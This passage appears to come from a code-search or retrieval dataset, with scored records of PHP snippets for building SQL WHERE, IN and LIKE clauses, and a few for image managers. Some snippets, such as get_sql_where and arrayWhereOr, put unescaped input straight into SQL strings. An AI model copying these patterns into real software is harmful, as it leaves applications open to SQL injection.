is_array($v) && count($v) >= 2) { \n $terms = search2filters($v);\n if(count($terms) >= 2) $filter= '('.implode(' AND ', $terms).')';\n } elseif(is_array($v) && count($v) > 1) {\n $operator = $v[0];\n $val1 = is_array($v[1]) ? $v[1] : db_escape($v[1]); \n $val2 = is_array($v[2]) ? $v[2] : db_escape($v[2]); \n\n if(is_array($val1)) {\n // usage: $search['city'] = array(DB_LOGICAL_OR, array(\"*$city_id*\", 0, ATT_DEFAULT_NULL, array('>', 1000)));\n if(($operator == DB_LOGICAL_OR || $operator == DB_LOGICAL_AND) && is_array($val1) && count($val1) >= 2) {\n $sep = $operator == DB_LOGICAL_OR ? \" OR \" : \" AND \";\n $t = array();\n foreach($val1 as $v1) {\n $tf = search2filters(array($k => $v1), $noquotes);\n $t[] = count($tf) > 1 ? '('.implode(' AND ', $tf).')' : $tf[0];\n }\n $filter = '('.implode($sep, $t).')';\n } elseif($operator == '=') {\n $filter= \"$k IN ('\".implode(\"','\", $val1).\"')\"; \n } elseif($operator == '!=' || $operator == '<>') {\n $filter= \"$k NOT IN ('\".implode(\"','\", $val1).\"')\"; \n }\n } elseif($operator == '&') { // bitwise AND\n $filter= \"$k & $val1\"; \n } elseif($operator == '|') { // bitwise OR\n $filter= \"$k | $val1\"; \n } elseif($operator == '=' && $val1 === ATT_DEFAULT_NULL) {\n $filter= \"$k IS NULL\";\n } elseif($operator == '!=' && $val1 === ATT_DEFAULT_NULL) {\n $filter= \"$k IS NOT NULL\";\n } elseif($operator == '><' && strlen($val2)) {\n $filter= \"$k >= '$val1'\";\n $filter2= \"$k <= '$val2'\";\n } elseif($operator == DB_CONTAINS_OPERATOR) {\n $filter = \"$k LIKE '%$val1%'\";\n } elseif($operator == DB_BEGINS_WITH_OPERATOR) {\n $filter = \"$k LIKE '$val1%'\";\n } elseif($operator == DB_ENDS_WITH_OPERATOR) {\n $filter = \"$k LIKE '%$val1'\";\n } elseif(in_array($operator, $operators)) {\n $filter= \"$k $operator '$val1'\";\n } else { // operator not found, assume \"IN\"\n $filter= \"$k IN ('\".implode(\"','\", $v).\"')\"; \n }\n } else {\n if(is_array($v)) $v = $v[0]; // array with only one element\n $val1 = db_escape($v);\n if(strpos($val1, '*') !== FALSE) { // allow wild cards (textual begins with, ends with, contains)\n $filter = \"$k LIKE '\".str_replace('*', '%', $val1).\"'\";\n } elseif($val1 === ATT_DEFAULT_NULL) {\n $filter= \"$k IS NULL\";\n } else {\n $filter= \"$k = '$val1'\";\n }\n } \n \n $filters[] = $noquotes ? str_replace(\"'\", '', $filter) : $filter; \n if($filter2) $filters[] = $noquotes ? str_replace(\"'\", '', $filter2) : $filter2; \n } \n return $filters;\n}", "title": "" }, { "docid": "57ca3833250cc21cbdfb4a22d3b89beb", "score": "0.50921386", "text": "public function orWhereRaw(/*# string */ $rawString, array $params = []);", "title": "" }, { "docid": "ca766726fcc213316f6501553ae95d60", "score": "0.5086166", "text": "public function addInWhere($field, $params, $type=self::TYPE_STRING){\n if(is_array($params) && (count($params) == 0))\n throw new \\Exception('Empty \"where in\" condition');\n $params = (array)$params;\n switch ($type){\n case self::TYPE_STRING:\n foreach ($params as &$param)\n $param = '\\''.addslashes($param).'\\'';\n break;\n case self::TYPE_NUMERIC:\n foreach((array)$params as &$param)\n $param = floatval($param);\n break;\n default:\n return null;\n }\n if(count($params)>1)\n $this->andWhere($field .' IN ('.implode(',', $params).')');\n else\n $this->andWhere($field .' = '.array_shift($params));\n return $this;\n }", "title": "" }, { "docid": "586ae539effb489ffb9659ca08d88d07", "score": "0.50858086", "text": "protected function searchOpIn($c, $val)\r\n {\r\n $hash = array_map('trim', explode(',', $val));\r\n\r\n return $c['db'] . \" IN ('\" . implode(\"','\", $hash) . \"')\";\r\n }", "title": "" }, { "docid": "aceafbaff716b05295b4415dd9078194", "score": "0.5076464", "text": "public function where_in($key = NULL, $values = NULL, $escape = NULL)\n {\n return $this->_where_in($key, $values);\n }", "title": "" }, { "docid": "5949b7948fcbd167e3ca343f6598b614", "score": "0.50751764", "text": "private function getWhereClause($conn, $where){\n\t\tif (!is_array($where)){\n\t\t\treturn \"\";\n\t\t}\n\t\t$sql_where=\"\";\n\t\tforeach($where as $field => $val){\n\t\t\tif (!array_key_exists($field, $this->fields)){\n\t\t\t\tthrow new Exception(\"Field \" . $field . \" does not exists\");\n\t\t\t}\n\t\t\t$field_info=$this->fields[$field];\n\t\t\tif ($sql_where!=\"\"){\n\t\t\t\t$sql_where = $sql_where . \" AND \";\n\t\t\t}\n\t\t\tif (is_array($val) ) {\n\t\t\t\tif (count($val) > 0) {\n\t\t\t\t\t$sql_where = $sql_where . \"`\" . $field . \"` IN (\";\n\t\t\t\t\t$quoted_values = array();\n\t\t\t\t\tforeach ($val as $v) {\n\t\t\t\t\t\t$quoted_values[] = $this->quote($conn, $v, $field_info[\"type\"]);\n\t\t\t\t\t}\n\t\t\t\t\t$sql_where = $sql_where . implode(', ', $quoted_values).')';\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$sql_where = $sql_where . \"`\" . $field . \"` = \";\n\t\t\t\t$sql_where = $sql_where . $this->quote($conn, $val, $field_info[\"type\"]);\n\t\t\t}\n\t\t}\n\t\treturn $sql_where;\n\t}", "title": "" }, { "docid": "00b96d0cc17a6ce6dd9ef3fbe3ef2858", "score": "0.50697523", "text": "public static function orWhere($column, $operator = null, $value = null)\n {\n }", "title": "" }, { "docid": "a3350b1a163101a0ef74fa98bfbbd0d5", "score": "0.50618804", "text": "public function arrayWhereOr(Builder $query, array $orWhere): Builder\n {\n foreach ($orWhere as $indice => $value) {\n if (is_array($value)) {\n $this->arrayWhereOr($query, $value);\n } else {\n $indice = 'cpfcnpj' == $indice ?\n \"translate({$indice}, '.,-/', '')\" : $indice;\n $query->orWhereRaw(\n \"UPPER(unaccent({$indice}::text))\n like UPPER(unaccent('%{$value}%'))\"\n );\n }\n }\n\n return $query;\n }", "title": "" }, { "docid": "c55f1642242afcb8297a6ff318f2da79", "score": "0.5052712", "text": "function BuildBasicSearchSQL(&$Where, &$Fld, $arKeywords, $type) {\n\t\tglobal $EW_BASIC_SEARCH_IGNORE_PATTERN;\n\t\t$sDefCond = ($type == \"OR\") ? \"OR\" : \"AND\";\n\t\t$arSQL = array(); // Array for SQL parts\n\t\t$arCond = array(); // Array for search conditions\n\t\t$cnt = count($arKeywords);\n\t\t$j = 0; // Number of SQL parts\n\t\tfor ($i = 0; $i < $cnt; $i++) {\n\t\t\t$Keyword = $arKeywords[$i];\n\t\t\t$Keyword = trim($Keyword);\n\t\t\tif ($EW_BASIC_SEARCH_IGNORE_PATTERN <> \"\") {\n\t\t\t\t$Keyword = preg_replace($EW_BASIC_SEARCH_IGNORE_PATTERN, \"\\\\\", $Keyword);\n\t\t\t\t$ar = explode(\"\\\\\", $Keyword);\n\t\t\t} else {\n\t\t\t\t$ar = array($Keyword);\n\t\t\t}\n\t\t\tforeach ($ar as $Keyword) {\n\t\t\t\tif ($Keyword <> \"\") {\n\t\t\t\t\t$sWrk = \"\";\n\t\t\t\t\tif ($Keyword == \"OR\" && $type == \"\") {\n\t\t\t\t\t\tif ($j > 0)\n\t\t\t\t\t\t\t$arCond[$j-1] = \"OR\";\n\t\t\t\t\t} elseif ($Keyword == EW_NULL_VALUE) {\n\t\t\t\t\t\t$sWrk = $Fld->FldExpression . \" IS NULL\";\n\t\t\t\t\t} elseif ($Keyword == EW_NOT_NULL_VALUE) {\n\t\t\t\t\t\t$sWrk = $Fld->FldExpression . \" IS NOT NULL\";\n\t\t\t\t\t} elseif ($Fld->FldIsVirtual) {\n\t\t\t\t\t\t$sWrk = $Fld->FldVirtualExpression . ew_Like(ew_QuotedValue(\"%\" . $Keyword . \"%\", EW_DATATYPE_STRING, $this->DBID), $this->DBID);\n\t\t\t\t\t} elseif ($Fld->FldDataType != EW_DATATYPE_NUMBER || is_numeric($Keyword)) {\n\t\t\t\t\t\t$sWrk = $Fld->FldBasicSearchExpression . ew_Like(ew_QuotedValue(\"%\" . $Keyword . \"%\", EW_DATATYPE_STRING, $this->DBID), $this->DBID);\n\t\t\t\t\t}\n\t\t\t\t\tif ($sWrk <> \"\") {\n\t\t\t\t\t\t$arSQL[$j] = $sWrk;\n\t\t\t\t\t\t$arCond[$j] = $sDefCond;\n\t\t\t\t\t\t$j += 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$cnt = count($arSQL);\n\t\t$bQuoted = FALSE;\n\t\t$sSql = \"\";\n\t\tif ($cnt > 0) {\n\t\t\tfor ($i = 0; $i < $cnt-1; $i++) {\n\t\t\t\tif ($arCond[$i] == \"OR\") {\n\t\t\t\t\tif (!$bQuoted) $sSql .= \"(\";\n\t\t\t\t\t$bQuoted = TRUE;\n\t\t\t\t}\n\t\t\t\t$sSql .= $arSQL[$i];\n\t\t\t\tif ($bQuoted && $arCond[$i] <> \"OR\") {\n\t\t\t\t\t$sSql .= \")\";\n\t\t\t\t\t$bQuoted = FALSE;\n\t\t\t\t}\n\t\t\t\t$sSql .= \" \" . $arCond[$i] . \" \";\n\t\t\t}\n\t\t\t$sSql .= $arSQL[$cnt-1];\n\t\t\tif ($bQuoted)\n\t\t\t\t$sSql .= \")\";\n\t\t}\n\t\tif ($sSql <> \"\") {\n\t\t\tif ($Where <> \"\") $Where .= \" OR \";\n\t\t\t$Where .= \"(\" . $sSql . \")\";\n\t\t}\n\t}", "title": "" }, { "docid": "2b786b3c3101408235f6ed6919f8e131", "score": "0.5052712", "text": "function BuildBasicSearchSQL(&$Where, &$Fld, $arKeywords, $type) {\n\t\tglobal $EW_BASIC_SEARCH_IGNORE_PATTERN;\n\t\t$sDefCond = ($type == \"OR\") ? \"OR\" : \"AND\";\n\t\t$arSQL = array(); // Array for SQL parts\n\t\t$arCond = array(); // Array for search conditions\n\t\t$cnt = count($arKeywords);\n\t\t$j = 0; // Number of SQL parts\n\t\tfor ($i = 0; $i < $cnt; $i++) {\n\t\t\t$Keyword = $arKeywords[$i];\n\t\t\t$Keyword = trim($Keyword);\n\t\t\tif ($EW_BASIC_SEARCH_IGNORE_PATTERN <> \"\") {\n\t\t\t\t$Keyword = preg_replace($EW_BASIC_SEARCH_IGNORE_PATTERN, \"\\\\\", $Keyword);\n\t\t\t\t$ar = explode(\"\\\\\", $Keyword);\n\t\t\t} else {\n\t\t\t\t$ar = array($Keyword);\n\t\t\t}\n\t\t\tforeach ($ar as $Keyword) {\n\t\t\t\tif ($Keyword <> \"\") {\n\t\t\t\t\t$sWrk = \"\";\n\t\t\t\t\tif ($Keyword == \"OR\" && $type == \"\") {\n\t\t\t\t\t\tif ($j > 0)\n\t\t\t\t\t\t\t$arCond[$j-1] = \"OR\";\n\t\t\t\t\t} elseif ($Keyword == EW_NULL_VALUE) {\n\t\t\t\t\t\t$sWrk = $Fld->FldExpression . \" IS NULL\";\n\t\t\t\t\t} elseif ($Keyword == EW_NOT_NULL_VALUE) {\n\t\t\t\t\t\t$sWrk = $Fld->FldExpression . \" IS NOT NULL\";\n\t\t\t\t\t} elseif ($Fld->FldIsVirtual) {\n\t\t\t\t\t\t$sWrk = $Fld->FldVirtualExpression . ew_Like(ew_QuotedValue(\"%\" . $Keyword . \"%\", EW_DATATYPE_STRING, $this->DBID), $this->DBID);\n\t\t\t\t\t} elseif ($Fld->FldDataType != EW_DATATYPE_NUMBER || is_numeric($Keyword)) {\n\t\t\t\t\t\t$sWrk = $Fld->FldBasicSearchExpression . ew_Like(ew_QuotedValue(\"%\" . $Keyword . \"%\", EW_DATATYPE_STRING, $this->DBID), $this->DBID);\n\t\t\t\t\t}\n\t\t\t\t\tif ($sWrk <> \"\") {\n\t\t\t\t\t\t$arSQL[$j] = $sWrk;\n\t\t\t\t\t\t$arCond[$j] = $sDefCond;\n\t\t\t\t\t\t$j += 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$cnt = count($arSQL);\n\t\t$bQuoted = FALSE;\n\t\t$sSql = \"\";\n\t\tif ($cnt > 0) {\n\t\t\tfor ($i = 0; $i < $cnt-1; $i++) {\n\t\t\t\tif ($arCond[$i] == \"OR\") {\n\t\t\t\t\tif (!$bQuoted) $sSql .= \"(\";\n\t\t\t\t\t$bQuoted = TRUE;\n\t\t\t\t}\n\t\t\t\t$sSql .= $arSQL[$i];\n\t\t\t\tif ($bQuoted && $arCond[$i] <> \"OR\") {\n\t\t\t\t\t$sSql .= \")\";\n\t\t\t\t\t$bQuoted = FALSE;\n\t\t\t\t}\n\t\t\t\t$sSql .= \" \" . $arCond[$i] . \" \";\n\t\t\t}\n\t\t\t$sSql .= $arSQL[$cnt-1];\n\t\t\tif ($bQuoted)\n\t\t\t\t$sSql .= \")\";\n\t\t}\n\t\tif ($sSql <> \"\") {\n\t\t\tif ($Where <> \"\") $Where .= \" OR \";\n\t\t\t$Where .= \"(\" . $sSql . \")\";\n\t\t}\n\t}", "title": "" }, { "docid": "f2ee38713b60618b4753b5d26d9bb7b1", "score": "0.505149", "text": "public function orWhere(){\r\n\t\t$tb = call_user_func_array(array($this->mask(), 'orWhere'), func_get_args());\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "2a1280b1eb081106045041be53d323b6", "score": "0.5041654", "text": "abstract protected function perform_or($first, $second);", "title": "" }, { "docid": "7451678fd1bab7e6f4d0999c1d2081b6", "score": "0.50211006", "text": "public function or_like($field, $match = '', $side = 'both', $escape = NULL, $mongoSyntax = FALSE)\n {\n return $this->_like($field, $match, 'OR ', $side, '', $escape, $mongoSyntax);\n }", "title": "" }, { "docid": "a44ea3b28c9be49446cc14c754ea722e", "score": "0.500917", "text": "public function in(string $column, array $values, string $type = Condition::AND): CriteriaInterface;", "title": "" }, { "docid": "99afb34279f57603347e031b8803765d", "score": "0.49921522", "text": "public function where_emp_in($emp) {\n\t\t$this->db->where_in('ID', $emp);\n\t}", "title": "" }, { "docid": "c25537898f97c2bbca3420648356a14c", "score": "0.49738714", "text": "public function or_where_close()\n {\n $this->_where[] = array('OR' => ')');\n return $this;\n }", "title": "" }, { "docid": "5ea7f68fa28e79ad7e8ec1a249b31675", "score": "0.4968207", "text": "public function getWhereClause() {\n\n\tif (isset($this->filters) && !empty($this->filters)) {\n\t\t// $aClause = array();\n\t\t// $aOperators = array();\n\t\t$sClause = '';\n\t switch ($this->type) {\n\t\tcase 0:\n\t\tcase 4:\n\t\tdefault:\n\t\t \n\t\t $aWhere = $this->getFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where($key, $value);\n\t\t\t\t $sClause .= $key . ' = ' . $value . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 1:\n\t\t $aWhere = $this->getLikeFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where_like($key, $value);\n\t\t\t\t $sClause .= $key . ' LIKE ' . $value . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 2:\n\t\t $aWhere = $this->getRangeFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where_raw($key, $value);\n\t\t\t\t\t$sClause .= vsprintf(str_replace('?','%s',$key),$value) . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 3:\n\t\t $aWhere = $this->getInFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t\t$sClause .= $key . ' IN (' . implode(',',$value) . ')' . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t // $this->model->where_in($key, $value);\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 5:\n\t\t $aWhere = $this->getInRawFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where_raw($key, $value);\n\t\t\t\t\t$sClause .= vsprintf(str_replace('?','%s',$key),$value) . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t\tcase 6:\n\t\t $aWhere = $this->getDependendFilter($this->filters);\n\t\t if ($aWhere) {\n\t\t \t$i = 1;\n\t\t\t\tforeach ($aWhere as $key => $value) {\n\t\t\t\t // $this->model->where_raw($value, array());\n\t\t\t\t $sClause .= $value . (count($aWhere) == $i++ ? '' : ' OR ');\n\t\t\t\t}\n\t\t }\n\t\t break;\n\t }\n\t}\n\treturn $sClause;\n\t// return $this->model;\n }", "title": "" }, { "docid": "40b809c117618cfccaa24b35c3d5f669", "score": "0.49599802", "text": "protected function _or_and_where($where, $match, $type = 'AND', $not ='') {\n\n if(trim($type) == 'OR'){\n $type = '$or';\n if(trim($not) == 'NOT') {\n $type = '$nor';\n }\n }else {\n $type = '$and';\n\n if(trim($not) == 'NOT') {\n $type = '$not';\n }\n }\n\n if(empty($where)) {\n if($type == '$not' && $this->qb_where_group_count == 0) {\n $order['$nor'] = array();\n $current_match['$and'] = array($match, array('true'=>true));\n array_push($order['$nor'], $current_match);\n $where = $order;\n }else {$where = $match;}\n\n }else {\n if($type == '$not') {\n $order['$nor'] = array();\n $current_match['$and'] = array($where, $match);\n array_push($order['$nor'], $current_match);\n $where = $order;\n }else {\n $order[$type] = array();\n array_push($order[$type], $where);\n array_push($order[$type], $match);\n $where = $order;\n }\n }\n\n return $where;\n }", "title": "" }, { "docid": "5346a38aff63d1a0256051ef5f1deb89", "score": "0.49526918", "text": "function queryFilterContains(&$layout_def)\n {\n $matches = explode(',', $layout_def['input_name0']);\n $q = \"\";\n foreach ($matches as $match) {\n // Make the match field the lowercase version of the field. This feels\n // a little dirty but I bet Mike Rowe would approve\n $match = strtolower(trim($match));\n $q .= \" \" . $this->getLowercaseColumnSelect($layout_def) . \" LIKE '%\" .$GLOBALS['db']->quote($match).\"%' OR\";\n }\n\n return rtrim($q, \" OR\");\n }", "title": "" }, { "docid": "7d4e476fea00fb2fc56c6c02b36ca78c", "score": "0.49499494", "text": "function get_sql_where(){\r\n\t\t$where_str='';\r\n\t\t$multiple_search_str='';\r\n\r\n\t\tif(stripos($this->sql_query,' WHERE ')!==false){\r\n\t\t\tif(stripos($this->sql_query,' ORDER BY ')!==false)\r\n\t\t\t\t$where_str_ini='('.substr($this->sql_query,stripos($this->sql_query,' WHERE ')+7,stripos($this->sql_query,' ORDER BY ')-stripos($this->sql_query,' WHERE ')-7).')';\r\n\t\t\telseif(stripos($this->sql_query,' LIMIT ')!==false)\r\n\t\t\t\t$where_str_ini='('.substr($this->sql_query,stripos($this->sql_query,' WHERE ')+7,stripos($this->sql_query,' LIMIT ')-stripos($this->sql_query,' WHERE ')-7).')';\r\n\t\t\telse\r\n\t\t\t\t$where_str_ini='('.substr($this->sql_query,stripos($this->sql_query,' WHERE ')+7).')';\r\n\t\t}else{\r\n\t\t\t$where_str_ini='';\r\n\t\t}\r\n\r\n\t\t// adds the extra columns in consideration\r\n\t\t$arr_sql_fields=$this->sql_fields;\r\n\t\tfor($i=0; $i<count($this->extra_cols); $i++)\r\n\t\t\tarray_splice($arr_sql_fields, $this->extra_cols[$i][0]-1, 0, '');\r\n\r\n\t\tfor($i=0; $i<count($arr_sql_fields); $i++){\r\n\r\n\t\t\tif(empty($this->multiple_search[$i]))\r\n\t\t\t\t$this->multiple_search[$i]='';\r\n\r\n\t\t\tif($this->search!='' and $this->search_init[$i]!='f')\r\n\t\t\t\t$where_str.=(($i==0 and $where_str_ini) ? ' AND ' : '').($where_str ? ' OR ' : '(').$arr_sql_fields[$i].\" LIKE '%\".$this->search.\"%'\";\r\n\r\n\t\t\tif(count($this->multiple_search)>0 and $this->multiple_search[$i]!='' and $this->multiple_search_init[$i]!='f')\r\n\t\t\t\t$multiple_search_str.=(($where_str_ini or $where_str or $multiple_search_str) ? ' AND ' : '').$arr_sql_fields[$i].\" LIKE '%\".$this->multiple_search[$i].\"%'\";\r\n\r\n\t\t}\r\n\r\n\t\tif($where_str!='')\r\n\t\t\t$where_str.=')';\r\n\r\n\t\treturn (($where_str_ini or $where_str or $multiple_search_str) ? ' WHERE ' : '').$where_str_ini.$where_str.$multiple_search_str;\r\n\t}", "title": "" }, { "docid": "22e0d462998225ed5efb501f8d9afb6e", "score": "0.4946723", "text": "public static function orWhereNotIn($column, $values)\n {\n }", "title": "" }, { "docid": "320e7bcdda6206f57821a5b2265e51f2", "score": "0.49349922", "text": "public function WHERE_once($left, $cmp = '=', $right = null, $literal = false) {\n\t\t$matchset = $this->lastMatchset();\n\t\tif (!$matchset) $matchset = $this->add_MATCHSET();\n\t\t//Horrible 'IN' hack\n\t\tif (strtoupper($cmp) == 'IN') {\n\t\t\tif (!is_array($right)) throw new Exception('Argument 3 must be an array, if argument 2 is \"IN\"');\n\t\t\t// make QRYset to hold IN values\n\t\t\t$middle_ptr = $this->IN_array($right, null);\n//\t\t\t$this->force_MATCH($left, $cmp, $middle_ptr, false, 'match');\n//\t\t\treturn;\n\t\t\t$left_ptr /*$fieldset*/ = $this->force_FIELD($left, null, null);\n\t\t\t// add newly created set as right part of match\n\t\t\t$this->add_MATCH($left_ptr, $cmp, $middle_ptr, $matchset);\n\t\t\treturn;\n\t\t}\n\n\t\t$this->force_MATCH($left, $cmp, $right, $literal, 'match');\n\t}", "title": "" }, { "docid": "adb28978cf6e4392b85dfee7f58e6fcd", "score": "0.49306577", "text": "private function inClause($list)\n {\n\n $list = array_map(function ($i) {\n\n return \"?\";\n\n }, $list);\n\n $list = implode(\",\", $list);\n\n return \"($list)\";\n }", "title": "" } ]
70129a310f28620aad62cd864a5d664f
Fetch image manager from container
[ { "docid": "2c873dcadb766ef12a3ab3884bd9d43d", "score": "0.7854862", "text": "private function getImageManager()\n {\n return $this->get('kac_site.manager.image');\n }", "title": "" } ]
[ { "docid": "d658ec1220673caff4f500401722abbb", "score": "0.75343806", "text": "public function getImageManager()\n {\n return $this->imageManager;\n }", "title": "" }, { "docid": "1f362e5e1bb5e546903098c0ec0c49f7", "score": "0.69786114", "text": "private function getManager()\n {\n return self::getDocker();\n }", "title": "" }, { "docid": "56c7338397e91d9d6df6d8c431441f3c", "score": "0.61529464", "text": "abstract protected function get_container();", "title": "" }, { "docid": "12db59e62b045d8569f13f3e742db474", "score": "0.61192685", "text": "public function fetchImage()\n {\n return $this->_getImageByType('image');\n }", "title": "" }, { "docid": "27f80aefa45b5754ecd5655e28f63b38", "score": "0.59719425", "text": "protected function getManager()\n {\n return $this->get('sulu_product.product_media_manager');\n }", "title": "" }, { "docid": "cc1f8643690ac45780ce2a5aa243d129", "score": "0.5920881", "text": "function _fetchImg()\n {\n $this->_fetchProperty(XML_FOAF_NS, 'img', 'uri');\n }", "title": "" }, { "docid": "e4a60319032897b6479a385587d4d1b0", "score": "0.5912368", "text": "public function __invoke(ContainerInterface $container)\n {\n //$myContainer = $container->get('SindicoAmigo\\\\V1\\\\Rest\\\\Areacomum\\\\AreacomumRepository');\n $myContainer = $container->get(\\SindicoAmigo\\V1\\Rest\\Imagem\\ImagemRepository::class);\n return new ImagemResource($myContainer);\n\n }", "title": "" }, { "docid": "a22fcae4e5e594faa0c4679125453132", "score": "0.5800884", "text": "protected function getImageGalleryService()\n {\n $this->services['image_gallery'] = $instance = new \\Gekosale\\Core\\ImageGallery();\n\n $instance->setContainer($this);\n $instance->setPaths(array('original' => 'upload/gallery/original', 'cache' => 'upload/gallery/cache'));\n $instance->setFiles();\n\n return $instance;\n }", "title": "" }, { "docid": "c3984bcff72acba4bf314eba9a22dece", "score": "0.56878495", "text": "abstract public static function getManager();", "title": "" }, { "docid": "77b0f29651d593dc4a23356326e1d49a", "score": "0.5653219", "text": "public static function getContainer();", "title": "" }, { "docid": "b9688b7042f0b632692fdcc0fbf53c9e", "score": "0.5649291", "text": "public function getRequestedImage();", "title": "" }, { "docid": "565cfbedbd26c54aeb82a22de4bd240f", "score": "0.5632954", "text": "public function getImages();", "title": "" }, { "docid": "565cfbedbd26c54aeb82a22de4bd240f", "score": "0.5632954", "text": "public function getImages();", "title": "" }, { "docid": "565cfbedbd26c54aeb82a22de4bd240f", "score": "0.5632954", "text": "public function getImages();", "title": "" }, { "docid": "565cfbedbd26c54aeb82a22de4bd240f", "score": "0.5632954", "text": "public function getImages();", "title": "" }, { "docid": "565cfbedbd26c54aeb82a22de4bd240f", "score": "0.5632954", "text": "public function getImages();", "title": "" }, { "docid": "3d64b22ad72bf8c4047f7764c99c044b", "score": "0.5629332", "text": "public function getImage()\n {\n $img = $this->image;\n if ($img && $img->exists()) {\n return $img;\n }\n }", "title": "" }, { "docid": "b0e4a742932bd9d757d84c661f94d1cd", "score": "0.5625625", "text": "public function getImages()\n {\n }", "title": "" }, { "docid": "f6207215e0cb7d959aa3bb71729e9072", "score": "0.5604422", "text": "public function getImageStore()\n {\n return $this->image_store;\n }", "title": "" }, { "docid": "b5acfdcfde60f3c73f5b0e5386782f0b", "score": "0.5573993", "text": "public function getImage() {\n return $this->get(self::IMAGE);\n }", "title": "" }, { "docid": "b5acfdcfde60f3c73f5b0e5386782f0b", "score": "0.5573993", "text": "public function getImage() {\n return $this->get(self::IMAGE);\n }", "title": "" }, { "docid": "fd8aba6c29824b9a9233866f94b8a0d5", "score": "0.55626696", "text": "abstract public function getContainer();", "title": "" }, { "docid": "a57179cda9740b5b091c3bc2d7a74aa9", "score": "0.5556767", "text": "public function getImages(){\n\t\t$imagesManager = new \\Manager\\ImagesManager();\n\t\t$images = $imagesManager->getLastImages();\n\n\t\treturn $images;\n\t}", "title": "" }, { "docid": "30a075bf66e1aef7786032deee2f46d2", "score": "0.5523581", "text": "public function getImageHandler()\n {\n return $this->_oImageHandler;\n }", "title": "" }, { "docid": "41fe1c6607761eb11d23580d0403bf3a", "score": "0.55172276", "text": "public function image()\n {\n return $this->morphOne(Image::class, 'imageable')->withDefault([\n 'disk' => 'collections',\n 'filename' => 'default.jpg',\n ]);\n }", "title": "" }, { "docid": "ef0864800f73a3fc9bac8869464bab9d", "score": "0.5510535", "text": "private function retrieveAttachedImages() {\n\t\tif (!$this->identifyObjectAndSetUid()) {\n\t\t\treturn;\n\t\t}\n\t\tif (!$this->hasInteger('images')) {\n\t\t\treturn;\n\t\t}\n\n\t\t$images = tx_oelib_MapperRegistry::get('tx_realty_Mapper_Image')\n\t\t\t->findAllByRelation($this, 'object');\n\t\t$images->sortBySorting();\n\n\t\t$this->images = $images;\n\t}", "title": "" }, { "docid": "f5b01d7efd88d611251970957325f9c1", "score": "0.5506795", "text": "public function getCore() {\n $this->make(TRUE);\n return $this->imageManager->getCore();\n }", "title": "" }, { "docid": "13ca950480d2fa5a954fedf5bba95438", "score": "0.55031127", "text": "public function fetchImages(){\n\n\t\t\t\treturn $this->fetchTag(\"img\",\"src\");\n\n\t\t\t}", "title": "" }, { "docid": "0d60f344bbdd3329afe228f8ddddcafb", "score": "0.5502768", "text": "function getImages() { return $this->_images; }", "title": "" }, { "docid": "9460dfcb1feada1ac65f221f82cb1da6", "score": "0.54853", "text": "protected function readImages() { return $this->_images; }", "title": "" }, { "docid": "26fd679bc2840be7a01931f69f6a486b", "score": "0.5479436", "text": "public function getEmbeddedImages();", "title": "" }, { "docid": "eec46131ce71fd17e4b21f3145ce5936", "score": "0.5469509", "text": "public function directContainer()\n\t{\n\t\tif( $this->album_id )\n\t\t{\n\t\t\treturn \\IPS\\gallery\\Album::load( $this->album_id );\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $this->container();\n\t\t}\n\t}", "title": "" }, { "docid": "35697753d51f8962540dcd1f9a7ed799", "score": "0.5450489", "text": "public function getManager();", "title": "" }, { "docid": "35697753d51f8962540dcd1f9a7ed799", "score": "0.5450489", "text": "public function getManager();", "title": "" }, { "docid": "92f5aff40cbd5793da3306a0260eaea3", "score": "0.54228306", "text": "public function getContainer();", "title": "" }, { "docid": "92f5aff40cbd5793da3306a0260eaea3", "score": "0.54228306", "text": "public function getContainer();", "title": "" }, { "docid": "92f5aff40cbd5793da3306a0260eaea3", "score": "0.54228306", "text": "public function getContainer();", "title": "" }, { "docid": "92f5aff40cbd5793da3306a0260eaea3", "score": "0.54228306", "text": "public function getContainer();", "title": "" }, { "docid": "798ea13881a79d44ddf0ace0de17ebfa", "score": "0.5420984", "text": "function getImage()\r\n {\r\n return $this->_image;\r\n }", "title": "" }, { "docid": "18fd4e334e6613c9ebf3b6462cdb5633", "score": "0.5412581", "text": "function getImage() {\n\t\treturn $this->image;\n\t}", "title": "" }, { "docid": "9ea494ba61d27c61c3c37ed56b6f6227", "score": "0.54123676", "text": "public function getImage();", "title": "" }, { "docid": "9ea494ba61d27c61c3c37ed56b6f6227", "score": "0.54123676", "text": "public function getImage();", "title": "" }, { "docid": "9ea494ba61d27c61c3c37ed56b6f6227", "score": "0.54123676", "text": "public function getImage();", "title": "" }, { "docid": "e3510b752d5fe67dbf5b0de90076619e", "score": "0.5408858", "text": "public function getImageCollection()\n {\n return $this->imageCollection;\n }", "title": "" }, { "docid": "06fd5e7c1eb284ee692e9b0b49f1098e", "score": "0.5399224", "text": "protected function getMediaManager()\n {\n return $this->get('sulu_media.media_manager');\n }", "title": "" }, { "docid": "1c7b4ecb2115d8cb5ce4d453de2138e2", "score": "0.5398229", "text": "public static function load() : 